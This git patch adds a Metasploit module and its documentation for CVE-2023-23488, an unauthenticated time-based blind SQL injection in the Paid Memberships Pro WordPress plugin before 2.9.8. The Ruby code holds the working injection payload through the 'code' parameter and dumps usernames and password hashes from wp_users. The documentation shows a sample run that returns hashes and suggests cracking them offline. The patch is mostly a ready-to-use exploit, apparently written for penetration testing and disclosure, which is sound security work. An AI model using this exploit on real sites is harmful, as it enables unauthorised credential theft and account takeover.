From 1888264d4d81fc102211d90fd5470978533056d0 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 14 Jan 2023 08:34:10 -0500 Subject: [PATCH] wordpress paid membership pro --- data/wordlists/wp-exploitable-plugins.txt | 1 + .../http/wp_paid_membership_pro_code_sqli.md | 68 +++++++++++ .../http/wp_paid_membership_pro_code_sqli.rb | 113 ++++++++++++++++++ 3 files changed, 182 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md create mode 100644 modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.rb diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 52578f4ed3..c0579d9da9 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -56,3 +56,4 @@ custom-registration-form-builder-with-submission-manager woocommerce-abandoned-cart elementor bookingpress +paid-memberships-pro diff --git a/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md b/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md new file mode 100644 index 0000000000..62ad05fc2a --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.md @@ -0,0 +1,68 @@ +## Vulnerable Application + +Paid Membership Pro, a WordPress plugin, +prior to 2.9.8 is affected by an unauthenticated SQL injection via the +`code` parameter. + +The plugin can be downloaded from https://wordpress.org/plugins/paid-memberships-pro/, like +(2.9.7)[https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip] + +## Verification Steps + +1. Install the plugin +2. Start msfconsole +3. Do: `use auxiliary/scanner/http/wp_paid_membership_pro_code_sqli` +4. Do: `set rhosts [ip]` +5. Do: `run` +6. You should get the users and hashes returned. + +## Options + +### ACTION: List Users + +This action lists `COUNT` users and password hashes. + +### COUNT + +If action `List Users` is selected (default), this is the number of users to enumerate. +The larger this list, the more time it will take. Defaults to `1`. + +## Scenarios + +### Paid Membership Pro 2.9.7 on Wordpress 5.7.5 on Ubuntu 20.04 + +``` +msf6 > use auxiliary/scanner/http/wp_paid_membership_pro_code_sqli +[*] Using auxiliary/scanner/http/wp_paid_membership_pro_code_sqli +msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > set verbose true +verbose => true +msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > check + +[*] Checking /wp-content/plugins/paid-memberships-pro/readme.txt +[*] Found version 2.9.7 in the plugin +[*] 1.1.1.1:80 - The target appears to be vulnerable. +msf6 auxiliary(scanner/http/wp_paid_membership_pro_code_sqli) > exploit + +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Checking /wp-content/plugins/paid-memberships-pro/readme.txt +[*] Found version 2.9.7 in the plugin +[+] The target appears to be vulnerable. +[*] Enumerating Usernames and Password Hashes +[!] Each user will take about 5-10 minutes to enumerate. Be patient. +[*] {SQLi} Executing (select group_concat(NAbWtHUpd) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) NAbWtHUpd from wp_users limit 3) Ip) +[*] {SQLi} Time-based injection: expecting output of length 124 +[+] Dumped table contents: +wp_users +======== + + user_login user_pass + ---------- --------- + admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0 + admin2 $P$BNS2BGBTJmjIgV0nZWxAZtRfq1l19p1 + editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/ + +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.rb b/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.rb new file mode 100644 index 0000000000..996f30650c --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_paid_membership_pro_code_sqli.rb @@ -0,0 +1,113 @@ +require 'metasploit/framework/hashes' +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Exploit::SQLi + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Wordpress Paid Membership Pro code Unauthenticated SQLi', + 'Description' => %q{ + Paid Membership Pro, a WordPress plugin, + prior to 2.9.8 is affected by an unauthenticated SQL injection via the + `code` parameter. + + Remote attackers can exploit this vulnerability to dump usernames and password hashes + from the`wp_users` table of the affected WordPress installation. These password hashes + can then be cracked offline using tools such as Hashcat to obtain valid login + credentials for the affected WordPress installation. + }, + 'Author' => [ + 'h00die', # msf module + 'Joshua Martinelle', # Original bug discovery and writeup + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2023-23488'], + ['URL', 'https://www.tenable.com/security/research/tra-2023-2'], + ], + 'Actions' => [ + ['List Users', { 'Description' => 'Queries username, password hash for USER_COUNT users' }] + ], + 'DefaultAction' => 'List Users', + 'DisclosureDate' => '2023-01-12', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + register_options [ + OptInt.new('USER_COUNT', [true, 'Number of user credentials to enumerate', 3]) + ] + end + + def check_host(_ip) + unless wordpress_and_online? + return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress') + end + + checkcode = check_plugin_version_from_readme('paid-memberships-pro', '2.9.8') + if checkcode == Msf::Exploit::CheckCode::Safe + return Msf::Exploit::CheckCode::Safe('Paid Membership Pro version not vulnerable') + end + + checkcode + end + + def run_host(ip) + id = Rex::Text.rand_text_numeric(1..10) + # @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload| + @sqli = create_sqli(dbms: MySQLi::TimeBasedBlind) do |payload| + res = send_request_cgi({ + 'keep_cookies' => true, + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'rest_route' => '/pmpro/v1/order', + 'code' => "#{id}' OR (select 1 from (select(#{payload}))a)-- -" + } + }) + fail_with(Failure::Unreachable, 'Connection failed') unless res + end + + unless @sqli.test_vulnerable + print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.") + return + end + columns = ['user_login', 'user_pass'] + + print_status('Enumerating Usernames and Password Hashes') + print_warning('Each user will take about 5-10 minutes to enumerate. Be patient.') + data = @sqli.dump_table_fields('wp_users', columns, '', datastore['USER_COUNT']) + + table = Rex::Text::Table.new('Header' => 'wp_users', 'Indent' => 1, 'Columns' => columns) + data.each do |user| + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: user[0], + private_type: :nonreplayable_hash, + jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), + private_data: user[1], + service_name: 'Wordpress', + address: ip, + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED + }) + table << user + end + print_good('Dumped table contents:') + print_line(table.to_s) + end +end